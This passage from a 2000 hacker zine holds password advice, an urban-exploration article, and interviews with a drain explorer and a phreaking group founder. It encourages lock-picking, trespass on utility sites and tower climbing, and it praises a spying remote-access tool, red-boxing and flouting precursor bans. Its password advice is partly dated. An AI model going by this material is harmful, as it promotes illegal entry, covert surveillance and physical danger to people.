safe. +- Change your password on a regular basis, and follow the above when choosing + any new passwords. + + +Poor password choices and procedures: + +- Recording passwords on paper or in plaintext files. +- Storing passwords anywhere in any unsafe, unprotected manner. +- Using words that can be found in the dictionary. +- Using a password that matches (is the same as) your login name. +- Using the same password on multiple systems. +- Using the same password multiple times on the same system. +- Giving out your passwords to people, and trusting them not to tell anyone + else, or abuse the accounts. +- Rarely or never changing your password. When prompted, choosing an old + password, or one that you use, or have used previously, on other systems. +- Choosing easily guessed passwords. +- Using a password that's related to your login name, or a variation of it. +- Using a password that is related in some way to that system. +- Short words, sentences and phrases that can easily be guessed and cracked. +- Words that are frequently used by the media, are part of pop culture, jargon + or technical in their nature. +- Any computer related words and terms are terrible passwords. +- Don't use anything that relates to you personally as a password. That + basically means, your name, your address, your phone number, your school, + business or place of employment, your car, license plate number, card numbers, + social security/insurance numbers, aliases, names of family or friends, pets, + hobbies, interests, games, programs, etc. Anything that relates to you in + some way can be guessed and used against you. If the person knows something + about you, they'll definitely try variations of that as a password. +- Don't use any system default passwords. Defaults, on any system, are always + the first accounts to be exploited. They're easily to guessed, gathered + together and can be added quickly to any dictionary file. They're an open + door to people using a brute force cracking program. +- Don't use any common phrases, sayings, expressions, slang, popular names, + proper names, cities, colours, songs, bands, groups, animal names, computer + terms, telco terms, etc. as they can *all* be guessed or put into a brute + force password cracker's dictionary file. Even if they aren't in any default + dictionary files or off the shelf hard copy dictionaries, the person that's + attempting to crack the password may add them manually. +- Never use words that can be found in any dictionary. Just to ensure that you + don't make a mistake, look up the word in the Oxford dictionary, Webster's + dictionary and search through several large dictionary files for it. Even if + your password contains multiple words, it is still unwise to use any words + that can be found in the dictionary. If you do, you're making it vulnerable + to brute force attacks. As in, real words with proper spelling are bad and + not recommended for passwords. + +If you follow the practices shown above, your account/password will remain +fairly secure -- at least against brute force methods that utilize dictionary +files, commonly used passwords and system defaults, etc. And, if you abide +by all of the above, including changing your password at least every 4-6 weeks, +the chances of your password being compromised are greatly decreased. No system +can protect you, your account and the information it contains. In the end, the +password you select is the only security barrier someone needs to breach. + +In other words, to protect your information you need to make sure the task of +obtaining your chosen password is as difficult and time consuming as possible. +Obviously you can't protect yourself (or your passwords) from every type of +attack. But lessening the effectiveness of brute force cracking attempts is +at least a start in the right direction. The goal is to lessen the chances +of your password being cracked. Eliminating the possibility of it happening +simply isn't practical when humans, computers and passwords are combined. + +Don't expect or rely on someone else (sysadmins and the like) to maintain the +security of your account(s) for you. And you definitely shouldn't rely on other +security measures, such as system logs, to protect your account. That's what +your *password* is meant to do. Logs will only show failed attempts, but if the +person is successful in breaking in, whatever information existed in your +account has already been compromised. If you had personal or sensitive +information, it's too late then. Consider that, and consider choosing your +passwords carefully and wisely. I'll step down from my soapbox now. :) + +Written by Blackie Lawless ú Damage, INC. (C)opyright 2000. + + +Hacking the planet Part II. + +In my "Explorer's guide to hacking the planet" article that was published in +the previous issue, I neglected to mention several things that are just waiting +to be explored. So, I've decided to write an additional article and briefly +describe the places that I failed to list previously. + +Abbie Hoffman referred to them as the "tar jungle", and that's as fitting a +description as any for the countless building rooftops in urban areas that +can be explored. Besides being a place for storage sheds, industrial sized +air conditioning units, tools, and wiring, the roofs of large buildings that +are close together present an easy escape route -- at least for the daring. +Sometimes they're accessible by stairs or an elevator. In many cases, the +door at the top of the stairs is locked, and will have to be picked first in +order to gain entry to the roof. However, with some buildings that have fewer +stories, there's a fire escape stairway that you can use for access. + +Abandoned buildings are another great place to explore. From rural farm houses, +old crack houses in the city, to larger buildings like abandoned factories and +warehouses, they can present a lot of interesting adventures, experiences and +opportunities. Some people have even been known to use them for parties, raves +and a myriad of other things... including temporary shelter, etc. Just make +sure it's safe to enter and nobody else is currently living there. I'd advise +that you don't enter buildings in certain areas alone though. Well, unless +you're armed and prepared, of course. ;) + +There are other buildings in cities, such as municipal buildings that are +designed to look like normal houses, but they contain public utilities. These +are checked every once in a while by city workers, so either venture inside only +at night, or make damn sure they're not going to show up during the day. If +you're lucky you might find a city map inside that shows different utilities and +other buildings throughout the city. In other words, things that normal maps +sold to the public don't contain on them. + +There are other places in cities to be explored, such as towers. In this area, +as in most places, the majority of the towers are located on high ground and +are clearly visible. That's by design, so that there won't be any interference +with the signals by trees, buildings, other structures and the actual landscape +surrounding them. Anyways, Bell's towers can be found easily, but often they +have some type of security. Usually it's minimal though, and all you have to +be careful about are cameras and a Bell van showing up to do checks and routine +repairs. However, that isn't a daily occurrence by any means, so most often +they're an easy target to explore. That is, if you aren't afraid of heights, +since in order to get a close view (and good pictures as trophies), a certain +amount of climbing is in order. And when you're scaling the side of a tower, +or any type of aerial for that matter, a measure of danger is involved. Don't +attempt this if you have a fear of heights, if there are high winds, or if the +structure doesn't seem stable enough to support additional weight. If you're +overweight and all of the above also apply, don't even consider trying it! ;) +Basically, what these towers offer is a good view of Bell's satellite dish(es), +as well as direct access to them. Just be extra aware of what you're doing if +you plan on climbing towers. + +In closing, there are several other things out there that can be explored, but +weren't mentioned in this particular article in order that it remain as brief +as possible. However, some of them are just as interesting as anything that +I've described above. Many of these places can be dangerous to explore, so be +aware of that before you attempt to traverse them. Other than that, go out +there and explore. Urban exploration can provide you with many hours of pure +enjoyment, discoveries and adventures in really interesting places. It's about +being creative to gain access to all of the areas that you want and not allowing +physical barriers to stop you. My interview with should provide you +with some further insight into this exciting form of exploration. + +Written by BLACKENED ú Damage, INC. (C)opyright 2000. + + +INTERVIEWS AND INTERROGATIONS - {INTERVIEWS} + + +Alias: +Group(s): Cave Clan +Age: 7 years since self-sustained self-awareness. Chassis invoked in 1971. +Country: Australia, The Lucky Cunt. +Description: caucasian atheist anarchist Y-chromosome-carrier H.Sapiens +Interests: molecular genetics, electronic democracy, drain exploration, + explosives, politics, lots of other stuff. +Music: Trashy 1980's synth : Gary Numan, Devo particularly. Also TISM. +Movies: Delicatessen. The Matrix (with Keanu dubbed to inaudibility). +Books: Anything by : Richard Dawkins, Noam Chomsky, Marvin Harris, Larry Niven + Douglas Hofstadter, plus the occasional lashing of Greg Egan. Also, + the Hacker Jargon File (v4.2), Merck Index (12th Ed). + +Email: predator@cat.org.au +IRC: International Relay Chat. Indochina Rubber Company 8-) +URL(s):http: www.cat.org.au, www.caveclan.org/sydney slashdot.org + www.infiltration.org air.net.au www.fravia.org + + - Introduce yourself to the readers of the Damage, INC. Newsletter... + + + + +This body was born without its consent in the winter of 1971. After about +the first twenty years of its expected life were flushed down the toilet +in school and church, suddenly an emergent entity - me - took control of +its onboard neural net, and this emergent entity - - is the +personality who is communicating to you. + + +Welcome to the - a multitasking parallel-processing mindspace +embedded in a typical H.sapiens mammalian meatware platform. + + The universe is a free playground, despite the fact that +governments would ban you from it, corporations would make you pay to use +it and religions would like you to feel guilty for existing within it. +Certain parts of this playground, particularly information infrastructure +(computers and networks) appeal to me. Since it took me some time to get +at the computers (I had to wait until the Net appeared before they became +really accessible) I explored the only enclosing network I could freely +infiltrate, which was the "floodwater routing table" - the stormwater +drainage system. I have interests in other things too, as will become +clear later in the rant. + + - How did you become involved in underground exploration/casual trespassing? +What makes it interesting? + + +I jumped my first chainwire fence when I was about eight, chasing a tennis +ball into a drain. Hmmm... where does this go? + +It was a jump over the first of many similar fences - access barriers - +most of which had been trained into my neural net as a part of something +called "upbringing." It seems there was a lot of "don't ask", "don't +enter" and "don't look" signage around my existence. I eventually noticed +a correlation between such signs and cool stuff well worth the effort of +exploration. It was at this moment that almost *anything* prohibited +became worthy of exploration. I refer not only to thought processes but +also to physical locations. Trespass became not only my right, but a duty +to my self, a required part of my personal development. + +Drain exploration, dumpster diving, reading lots of books, turning off +the local traffic lights at night to see what happened, net surfing, +low-level geekery - these were all natural extension of this curiosity. +Drains were easily accessible, they cut across the artificial grids +imposed on the landscape by the road system for the ever-expanding urban +sprawl, took me to weird places I'd never previously seen or even thought +about. They tended to follow old rivers which had totally been eliminated +from sight and thought by urban development. They didn't pay any homage to +things on The Top, they just went where they went, had strange shapes and +rooms and exits in unexpected and funny places. + + - What types of interesting things have you seen or found while exploring +drains and other places that most people avoid going? + + +Excellent rooms, shafts, slides, grilles with big waves pounding at them +sending shock waves up the drain... weird architecture, waterfalls, +sometimes abandoned booty from burglary. It varies tremendously. I didn't +expect to find Thoreau's "Duty of Civil Disobedience" in texta, deep +inside a drain in Canberra. I sometimes find people living in some of +these abandoned spaces, squirreled away; just minding their own business +and quite sensibly avoiding the great rental industry ripoff and being +called criminals for having the gall to squat. + +That's just the drains. Other places, like abandoned hospitals, power +stations, grain silos, large airconditioning ducts, reservoirs - these +have large weird machinery which intrigues me, sometimes I find myself +faced by what amounts to an alien artifact : "What the _fuck_ does *this* +thing do when it's turned on??" For instance, it once took me little while +to figure out that the, uhmmm, intergalactic starship bridge I was looking +at was, actually, a disused transmission electron microscope. + + - What's the strangest thing you've found, or most memorable experience +you've had since you began? + + +Hmmm... there's a _large_ dam which supplies the parasite contaminated +drinking water to this city. It also has a small hydroelectric power +station in one of its abutments. The station is only small, couple of +megawatts or so. However, the head of pressure is HUGE so the feed pipe +(called the penstock) to the turbine conch is similarly massive, say about +15ft diameter, two-inch-thick steel. I was in this once, walked along it +to the MONSTROUSLY BIG vertical-axis butterfly valve just before the +conch inlet to the blades, and then into the spiral where the water is +forced into the turbine at high pressure. + +From the cellular level up, every warning light, fear-response, danger-mode +signal in my entire body was telling me to GET THE FUCK OUT OF HERE NOW. I +knew that an accidental opening of the inlets would turn me into a fine +aerosol without even a flicker on the instrument meters. No, I wasn't +authorized to be there. This episode is carved deeply into my frontal +lobe. + + - Are there many people involved in your scene? Are the numbers growing +or diminishing? Are most of the veterans still around and actively involved? + + +Yeah, both undergrounds (trespass and geek). Of course I don't see all of +them, a lot of stuff goes on without me having any part in its logistical +organization. That's the way it ought to be, I think, people do it 'cos +they want to, not because they are being told to do it. It's distributed, +non-heirachical and spontaneous, what Chomsky would call an +anarchosyndicate. People sometimes find the Clan after years of doing +their _own_ urban exploration. There's more people in Sydney Cave Clan +than there was when I spawned it, about twenty hard-core urban space +explorers, plus several less committed people, and it's increasing. Most +of the oldies still get underground occasionally, although some of the +pioneers have gone on to get mortgaged and religious or whatever, which +curtails their mobility to varying extents. + + - What has been your experience with workers from the various maintenance +departments that you've encountered during expeditions? + + +We generally explore at times when we expect maintenance staff to be well +clocked-off and getting pissed at the pub, like midnight. Then, nightlife +tends to be (quoting myself) `unintelligent pest organisms like moths and +security guards'. Avoiding being intercepted by other people is high on my +list of requirements for a successful mission. Nevertheless we do have +run-ins. + +A bunch of explorers from Adelaide were doing a drain called Transgrinder +with me in about 1995. The only access is a heavy concrete manhole lid. We +usually leave it open with traffic cones around it. Anyway while we were +underground we heard the "thud" of the cover closing, so we went up the +shaft and tried again and again to open it from below, with no success. +Eventually one of us made a desperate effort and popped it open. There was +a fat-gutted security guard there telling us all that we had to piss off. +We told him how stupidly behaved he had been - effectively trapping us in +the drain - and he said he'd do it again and *stand on the cover too*, if +necessary. What a fucknuckle. + +On the other hand, we have met people on night shift, bored out of their +minds and, grateful for the scintillating intellectual company, they +want to show us around their trespass-designated workplace 8-) + + - Which groups and zines are out there that have material related to +this type of exploration? + + +Most of the sites on the urban exploration web ring have this sort of +stuff. Il Draino occasionally releases drain location lists and Urbex +probably will too, but you can't grep paper. In half-A4 photocopy format, +there's Infiltration, which is very well produced; Sydney Cave Clan's +Urbex is still to mature but is very promising. Il Draino, geez... it's +been coming out for about a decade now, it's pretty idiosyncratic. For +example one of the editions is only one page long; the explanation is +in the headline... "OUR COPIER IS FUCKED". Freedom of the press belongs to +those who own a photocopier, but only when it works, I guess. + + - Which web sites do you usually frequent? + + +Slashdot, news for geeks. I lurk in some of the newsgroups, posting +occasionally in alt.drugs.chemistry. I'm partly involved in maintaining +cat.org.au, which is a nonprofit community-oriented community ISP in +Enmore, so I log in there a lot 8-) ... ah, and also node52.asgard.aus.tm +an old favourite BBS. Also some of the 2.4GHz microwave LAN / linux +etherboot stuff from air.net.au - I hate that Tel$tra corporation now owns +the bandwidth that the taxpayers paid for, and are selling ISDN and other +bandwidth for such a ripoff rate, so I'm looking to implement ways around +it. + + - Do you want to share any other memorable experiences? + + +Blowing a two-ton picrite boulder into small chunks with half a stick of +AN-60 gelignite... ever since, fireworks just don't cut the mustard. The +Freedom Arms calibre-50 pistol is a convenient, if less precise, substitute. + +Looking at my own semen under a microscope, seeing the happy little +wrigglers thrashing about at 200 power magnification and thinking "that's +my code". + +Finding a Melbourne Cave Clan sticker in a stormwater canal in Carss Park +and thinking "there are others who do this?" + +Reading chapter 10 of "The Selfish Gene" and realizing I finally had the +tools to immunize my own brain against so much of the virulent ideological +crap one is exposed to when trying to grow up in a western consumer society. +Try it. + + - Have you ever been arrested? Or, do you know anyone that's been busted? +If so, would you like to describe the event, the circumstances of the bust +and the conclusion? + + +I've successfully avoided cop-based Lore Enforcement. I call it Lore +because that's basically what the Law actually is - folk guidelines +written by the minstrels in courts and Parliament, mainly constructed to +"protect" their amassed property from the majority of people who haven't +got much. Trespass laws are no exception to this. + +I used to associate cops with bad news, and I still do, but I don't hate +them any more. I realize that they are simply the 'droids, meat in the +sandwich between the undemocratic few who write the laws and the masses +upon whom these laws are inflicted. I pity them, both the poor hollow +robots and also the few intelligent ones trapped into remaining cops by +things like financial circumstance. It seems their position is, "Why have +your own life and think your own thoughts when you can simply be infected +by a comfortable belief system which will do these things on your behalf +and even get you paid for hosting it?" + +Now, off my high horse and back in the gutter where I belong; Malicious +vandalism isn't our go, we're mainly interested in giving the public +access to public works. We do sometimes chase up "location" rumours +fairly, uh, vigorously. Locks, fences and similar stupidities are +sometimes errrm... spatially reconfigured. + +I know a few of the people from the big Bankstown Bunker expo bust, who +were forced down and held face down on the ground at gunpoint by the +Bankstown cops and a few gents from the Army. A bunch of Clan people and +some associates from Bunker Boyz were in this abandoned underground +military bunker, sledge-hammering away in the dark of night trying to find +a rumoured shaft to rumoured levels below. The thumping was heard by the +residents who live in the houses which were built on top of the old bunker +in the 1980's. They called the cops, the cops called the grunts, and the +cops and mil-heads were too fat to wriggle into the bunker, so they just +waited till people came out, then arrested them. The explorers found it +very traumatic. Howie didn't go underground for years afterwards. It +turned out that the people who summoned the cops didn't even press +charges. I think there's a newspaper clipping scanned in at +www.caveclan.org/sydney about it. + + - Do you want to mention any people in the underground scene that you know? + + +The scene is pretty lame these days. Wanna do something? Don't figure it +out, go rip a script, run a 'bot. Zzzzz. Fravia's pages of reverse +engineering are down now, mainly due to too many gits logging in and +asking "how do I rip off this software" rather than learning, say, how to +crank up Softice and emulate a dongle, so that won't improve matters. The +scene is crawling with newbies in much the same way as all the BBSs were +suddenly choked with modems owned by clueless gits immediately after +Wargames was screened in the nineteen-eighties. + +In the physical realm, it's different. There is no substitute for being +there in person, you have to pop the manholes yourself; we make a lot of +custom equipment, like manhole keys, to help hack open the tunnels. + +I was on The Web BBS for about ten years, back when a fast modem did +1200/75, and when the 1MHz (no plural there) 65C02 microprocessor was +still available at Dick Smith Electronics. Yes, I'm that old. The stuff I +used to burn cycles on was a neato game called RobotWars by the Sysop +there, Spyder, who now is some sort of overpaid systems analyst for the +American Expre$$ (don't leave home with it) Corp or someone like that. +RobotWars was an all text (!) battlefield simulator, you had two hundred +instructions of code space in which to write a "robot" which would cruise +around a 35 x 35 grid looking for some other dude's encoded robot, which +your robot would try to kill. The instruction set was all machine-codey, +there was a bunch of registers and logical operations and I'd code up in +such a way as I hoped would find the other robot and kill it first. They +ought to have it in university programming courses, I have not seen anything +as addictive for ages. Well, maybe there's Total Annihilation but you need +Lozedows to play that, so I don't. + +Rwars hooked two of my interests, Darwinian selection and machine language +programming. The dude with the tightest, fastest code (best programming +skills) won the series. There were a couple of interesting things that +emerged from that, you had enough registers that you could implement +learning in the 'bot, although in a crude way, during a battle of twenty +thousand executed instructions. Like the 'bot could haul itself into a +corner if it decided it was getting too damaged, and defend that corner +until the battle ran out of cycles. You could implement adaptive scanning +for the other bot's position, but it was hard to pack into that mere 200 +instructions. Yeah, that was all done over a 1200/75. Slow, but less messy +than the robot wars the dudes now wage with physically real robots which +cruise around trying to cut up or otherwise destroy someone else's 'bot, +and which are remotely controlled (and not autonomous, the wusses.) + +I used to ring Zenith in Adelaide, No Exit in Melbourne, read all the +(uppercase) text files, accidentally post shit to weird places on FidoNet +via Paragon BBS in Rockdale, flame religious people. I still telnet to +Asgard sometimes, chat to the dudes there, some of them even have a clue +about something other than how to point'n'click, a rare thing since the +WinDoze gui lowered the number of brain cells you needed to have before +you could use a computer. I still like PRiCk mag, used to read BoRE... +Sylphe (an old warez router) opened my eyes to the zero-day scene but +couldn't be bothered looking, I never gave a shit about ultra-fresh warez +and thought the people who did needed a heavy dose of laxatives... the +scene was full of clueless posturing teenagers who wouldn't know an +interrupt if you shoved one up their arse. + +On the tunnel exploration side, yeah... Trioxide for excellent pages, +///Siologen for photonics and Dr Prussik for his excellent SRT technique. +Diode showed me some great places, and rectifified some of my daemons. Hi +also to Edgar the EPROM-burning beast from Hawthorne - more cyberpunks +have grey hair then the www-kiddies would know, eh? + +Also, shouts to the subversive electrosynthetic organic reduction research +chemists at The Lycaeum. We should be able to hack our own neural nets if +we so desire, and these dudes provide us with the molecular know-how to do +so if we choose, bans on precursors be fucked. + + - Are there any words of advice or general comments that you have and wish +to share? + + +Hmmm. "Andy Warhol got it wrong, fifteen minutes is too long." -TISM + +8-) + +"Software is woven into just about every aspect of our lives now. When +software becomes free then you remove a division in society between people +who are rich and people who are not." (predator, 1999) + +This is true of the stuff we run in our biological cells - genes, and also +the software we run in our brains - our personalities. It is important to +stop fooling yourself that you are happy to live in the cage you have been +trained from birth to exist within, if you have not done so already. So +turn off the television, spamfilter the .com pages, and remember how to +think about stuff. On a dumbed-down planet, it's the most subversive act +imaginable. Remember your dependance on earth's information, energy and +resource infrastructure. Oh, and to quote an old Clan sticker : + +QUESTION AUTHORITY - GO IN DRAINS. + +(I'll leave my rant about biotechnology and how clueless we are at it for + later. Suffice to say that a little knowledge is a very dangerous, in + fact catastrophically dangerous thing.) + +Kind Regards:

+ + + + + + + - Thanks for agreeing to be interviewed Predator. I appreciate the fact +that you took the time to answer these questions. I'm sure this interview will +benefit our readers, especially the ones that are already interested in this +type of exploring. Shout outs go from everyone in Damage, INC. to the entire +Cave Clan crew. Keep exploring the underworld man. ;) This concludes another +interview of a unique individual. + + + +Alias: Goldeneye +Group(s): Just one, WraithTech +Age: Early thirties, yeah, I'm an old guy!!! Hahahaha!!!! +Country: U.S., at least for a little while longer, I have friends in Europe and + I plan to go "international" soon. +Description: Most say I am a mini Schwarzenegger, hahahaha. I am not overly + built but I am in shape, real intense and if locked in a room with + only one door and no windows, would find a way out! +Interests: Gadgets and tools for surveillance, and cheap ways to make them, + doing what many label as "the impossible", programming, video + production, computer security, skip tracing, making my own keys for + locks from scratch, chemicalizations, lab work, offshore banking, + foreign countries, Civil rights, and more! +Music: Classic rock, and 80's stuff, Stones, Clapton, Psychedelic Furs, Billy + Idol, David and David, Dan Reed Network, Santana and more!! +Movies: Die Hard, Blues Brothers, Three Musketeers, Johnny Handsome, The + Magnificent Seven, The Warriors, True Lies, Sword and The Sorcerer, The + Saint, The Matrix, Reservoir Dogs, El Mariachi, Desperado, Assassins, + Shaft (shut yo mouth!) Cop Land, The Longest Yard, Stick, An + Innocent Man. +Books: Tom Clancy novels, Robert Ludlum, John Grisham, Sherlock Holmes Novels. + +Email: goldeneye@coolmail.net or goldeneye@wraithtech.zzn.com +IRC: Hate it!!! Never!! +URL(s): www.wraithtech.zzn.com, www.copkiller.org, www.movieflix.com, + www.phonelosers.org, www.broadcast.com, www.scour.net, + www.audiofind.com, www.winfiles.com + + - Introduce yourself to the readers of the Damage, INC. Newsletter... + +Basics: To put it briefly, I am a 30 year old juvenille who has not grown up, +when you "grow up" you get old, I am responsible but wild. I have no fear and +take the chances that most people dream of. I am no superhero but I will fight +evil in any form on any front. Unlike most people, I am not afraid to take the +unpopular route if it is for something I believe in. + + - How and when was Wraith Tech Industries formed? What are the goals and +purpose of it? + +I founded WraithTech about two years ago (wow, been that long?!?!?) to create a +network of people with various skills and strengths as a team of specialists, +like the X-men but just not mutants, hahahaaa. WraithTech as it is now was not +how it originally started out. Originally it started as GWC Labs. GWC stood for +goldeneye, Wang and Compudroid. We met on the PLA discussion list and kind of +gravitated toward each other. Wang or Zehrwang, was a fierce dude with attitude +and style and I liked that. Compudroid had great ideas that bordered on genius. +Wang was the social engineering master, so I felt if we all pulled our resources +we could create a tight little group that would come up with some great ideas, +concepts or hacks. Not too far into it, Compudroid wanted out. + +He was not as serious as I had hoped he would be but Wang was, so I approached +Wang and told him I wanted to create a real working group and that I wanted him. +He signed on and then we got a few recruits and it went from there. The +personnel roster has changed alot, some members we lost, some we had to dismiss +but overall the core group has stuck together. When I say core group I refer to +certain people who no matter what are the center of the group and those are +Wang, Nevarmore, Mr. Wick, Tekno and Aftermath. + +Now as far as hacking, I am not a hacker. I only wish I was but I have not +reached that level of skill or patience. As far as phreaking, I am a basic +redbox kind of guy, I just like to tinker and find out why something works or +what makes it work. I found out about phreaking from a BBS I used to call called +Temple of The Screaming Electron where the motto was, "Raw data for raw nerves". +I like the concept and idea of the site and I would download as many text files +as I could until one day I stumbled upon some PLA issues. I had never been on +the internet just BBS's so I had no idea of who the PLA was. My first issue I +read was about the Dino Allsman thing and I was hooked!!! I wanted to be like +that!! From my point of view a phreaker is nothing more than a high tech con man +and I liked the concept of that, how one man, with the right tools could be very +powerful. I emailed Redboxchilipepper several times cause at the end of the +issues of PLA there was always an email address but I would always get the +"this email address is not valid". I did not actually contact him until almost +6 months of reading my first PLA issue. When I did contact him I needed his help +bad and although he did not know me well he taught me what I needed to know to +make a move I needed to make. It was wild. + +So WraithTech was formed from my associations on the PLA list. Mr. Wick came up +with "Wraith" from a video game he used to play religiously and I came up with +"Tech". If you want to know what a wraith is then you will have to look it up in +the dictionary to see. We are hoping WraithTech will become a future force in +the software arena, we are working on all types of programs, all of which will +be original. We have gotten away from the "hacker/phreaker" persona cause it was +bad for business to be known as a "hacker" group per se. So we have tried to +take Wraith in other directions so as to open up new opportunities for us. +Wraith is now concentrating as a whole on programming. I am in the middle of +learning Java and Nevar and Wang are already pretty good programmers, so this is +where we are going. We want to create all types of software for special types of +situations and people. + + - How has the group changed and evolved since its creation? + +People have asked me about the changes in WraithTech and yes the group has +changed alot from the old days. We have toned down a bit but that is only cause +we are really taking some things serious and really working hard on some things. +I mean like Wang is working on this movie, Nevar is working in the labs on stuff +and I am experimenting with Java. We want to be around for years to come and +hope to really serve the public with useful info and programs. Our membership +has fluctuated alot too. We once had a girl in the crew and she was good too but +things changed and she left the group. We had to remove a member for violating a +security policy and that got messy cause he then got real childish about it. It +has been tough, the jealous people, those that have tried to hack their way into +our personal lives. The scrutiny and more. Being in this group is tough but it +has its rewards. + + - What types of things can be found on Wraith Tech's web site? + +On our website you can find all types of things, mostly information. How to type +of stuff and some small programs. In the future there will be more Wraith made +software as this is just become a new division within the group. We have alot of +multimedia content on the site too, many people do not have time to read a text +file so we occasionally put up small instuctional videos on how to make this or +that item. It's a full service site with more to come. Hell, we even show movies +on our site!! + + - Which of Wraith Tech's releases stands out in your mind, and why? + +The one release that stands out in my mind? Well there are a few, Wang's first +single was a big hit in South America, I could not believe it!! Here I am +getting email from Argentina from a guy who downloaded Wang's song and burned it +to disk and then gave it to a local DJ and it was being bootlegged all over, +that was a riot and made us feel good. We have a German counterpart group that +we are linked to and some of the new stuff on their site was nice to see, they +emulate alot of what we do but with a German flair, hahahaa. I think the thing I +am most proud of about Wraith is when I found out some of the people that +regular our site. I mean we were getting people from Oracle and other name +companies checking us out and contacting us on a private level about security +things. + + - What types of articles and information can we look forward to seeing +on Wraith Tech in the future? + +In the near future you can look forward to seeing articles about exploits that +we discover. Or little tricks you can do with Java, and some how to stuff that +will really blow your minds. + + - How do you think Wraith Tech is viewed by the majority of visitors to +your site? + +I have been asked alot what I think other people think about us and that is hard +to say. I mean many people look at our group and say, "why are they so known, +they haven't done anything? They have not done any hacks or really good phreaks" +but the thing is some of our best work is not known to the public and that kind +of pisses me off. For some issues of security we sometimes cannot say who we +have done work for, so when people say we have not done anything it bothers me +cause we do not openly get the credit for what we do behind the scenes. I mean +for example, we were the only outside group contacted by Cisco Systems to do +some beta testing work for their new communication center. No one outside the +group knows this. But we worked for Cisco on a special project. I can talk about +it now cause the Cisco project is now done and set but then we were under strict +secrecy. Most of it was because the new Cisco system was not patented but we +were the only group called upon for the project. + +We did not get paid but we got alot of other stuff from Cisco in return for our +help and it looks good on your resume to say you helped refine a Cisco Systems +Operation. We did work for Paltalk also, some low level design and beta testing +but due to feelings regarding the security of Paltalk we discontinued our +relationship with them. That is the bad part of being in WraithTech, sometimes +you work on stuff that you will never openly get credit for. It takes its toll +on the group but we try to keep each other up. + + - What do you think of the current h/p scene, and in your opinion how has +it changed since you began? Also, what's the status of the local h/p scene in +your NPA? + +The hack/phreak scene as I see it has changed alot. It is now trendy to say you +are a "hacker" and that is irritating. It has gotten so commercial and overblown +with Defcon and all it is just disappointing. I mean Defcon started out being +about real hackers coming to share ideas and hacks, now it is full of feds +trying to learn shit so they can keep their pathetic jobs. There are very few +hackers really left. People say Mitnick was the last great hacker, well in truth +he was not that, he was a "jacker" meaning someone who liked to hijack systems +and info. That is a Wraith word we came up with for it, jackers. Then there are +movies like "Hackers" which in theory are true but not in priniciple and these +types of things end up influencing people in the wrong way. I really wish a +movie would come along that would redefine what a hacker is and really give +birth to a whole new wave of phreakers and hackers. + + - What has been your experience with telco employees as a whole? + +I like to talk to the telco guys when they come out to my house, sometimes you +can really get alot of info from them if you begin the conversation right. That +is how I learned about the number to call to test your line and find out the +number. I have also learned about some other little stuff from just talking to +them, it is the operators I hate. The people at the fone companies I hate in +general. They are usually rude, snobby, and arrogant. + + - Do you read any h/p related zines? If so, please list a few of the +ones that you read and respect. + +As far as reading any zines go I do not read to many of them cause by the time +you get it the tricks in the zines they are telling you about the fone company +has caught on to and there is nothing more diappointing than wanting to try a +trick only to find out it no longer works. + + - Which h/p groups, if any, do you respect? + +As far as groups go, I have looked at many but like only a few. I like some +groups like DarkLight, Section 6. Spying Gudi, he makes a really cool remote +administration tool that to me is better than Back Orifice because you do not +need to know the marks IP address to spy on his computer. I like Damage of +course cause you guys are low key but cool, not about hype but fact. Cyberarmy +is ok but they are too, "I will tell the cops on you if you ask me how to hack" +and that is way uncool. I hate cops and anyone who will run to the man. + + - Which web sites do you usually frequent? + +My favorite sites to haunt are neworder.box.sk, very cool site that has it all. +Some of the crack sites and TL security. There are many sites out there, in fact +anybody can have a site but it is hard to know the good stuff from the crap, +like Parse is crap. Hype and trendiness, but thesync.com has geek tv which is +good, and accurate so I go there alot for short video tutorials on stuff like +how to make a wearable computer for under 1000 bux. + + - Do you want to share any memorable hacking/phreaking related experiences? + +I think the most memorable thing that has gone down in WraithTech is when we +were asked to find this particular person who skipped out on court and the judge +said if he were not found in a specific time the case would have to be dropped, +we found this person but how we did it was like something out of mission +impossible, split second timing and alot of pressure but we got them to court, +but we did get a bit of credit for it as our name came up in testimony on the +stand. + + - Have you ever been busted? Or, do you know anyone that's been busted? +If so, would you like to describe the event, the circumstances of the bust +and the conclusion? + +I have never been busted myself for any scams or for phreaks but Danny did, for +taping a conversation between some cops. That tape wreaked alot of havoc for +awhile, the cops did all they could do to get it and Danny wound up in jail for +a few days. The cop was asked to resign cause the content of the tape was pretty +damning. It was a good day when we took that cop down, he was corrupt as most +cops in the Bay Area are and he deserved it. We are working on another cop now, +this asshole deserves it. So our site is occasionally seen by cops and they hate +me and Danny but hey, the moral of the story is, just cause you have some tin +plated badge that makes you think you can get away with anything does not always +mean you should try it with everyone. Some people are not afraid and will fight +you in court or however. I am not a very well liked man by the local PD but I +say it like NWA says, "fuck the police"!!! + + - Do you want to mention any boards that you call or people in the scene +that you know? + +I would like to send a shout out to: + +Redboxchilipeper for being patient with all my questions, Syko for being +objective, my team at Wraith Tech, you guys are the best!!! Spying Gudi for +listening, those on the mailing list for being cool, the groupies who have been +down with us, Eclyse, the homies on the PLA list, Raphy and our German +counterparts--einfach!!! Sara my little sister--"why him?" Dan Reed Network--for +making cool hacker music, my crew in Chicago--I want my apartment back!, the +dudes in Sao Paulo--keep waiting, it will come, Sulcata--come back to us homey, +Zack at the Spy Shop for the gear and ideas, Tai Pan for getting us into Cisco-- +thanks for the trust, She at Oracle--can I have a palm pilot?, the infoguys at +www.infoguys.com for the tricks of the trade, my brother jojo--dad says bring +the movie back or else, the "D" Block crew in San Quentin State Prison--for the +knowledge and ideas, Eric B.--for telling me how voicemail really works, my girl +--pure beauty, Fred Smith---wherever you are, cactus, Bum Rap Inc., shittalker +program--saving me in a jam and all the nice people who have sent email and +faxes, thank you!!! + + - Thanks for agreeing to be interviewed Goldeneye. I have respect for +you and Wraith Tech. Hopefully we'll be able to collaborate on some projects +in the future, as we've discussed. That is, once I finally have some spare +time. Anyways, keep up the good work man. Send me a few freebies (ahem, Cisco +routers) and stay in touch. ;) This concludes another quality interview. + + +Alias: Helena3 +Group: Damage, INC. +Age: 18+ +Country: Canada +Description: hacker, phreak, telephone enthusiast, technophile, audiophile, +conversationalist, spontaneous, fiesty, girl. +Gender: Female +Interests: I absolutely love meeting new people, talking on the phone, learning +new things, seeking and amassing knowledge, using technology to my advantage, +writing, and sharing information and things I've found and know with others. + +Email: damage_inc@disinfo.net, helena3@antisocial.com (my old address) +IRC: Blech. None for me. +URL(s): http://surf.to/damage_inc + + - Introduce yourself to the readers of the Damage, INC. Newsletter... + +Hi everyone. I'm known as Helena3, and have been for several years. It isn't +my first alias, but it will probably be my last since this is what I'm known +as to so many people now. There's 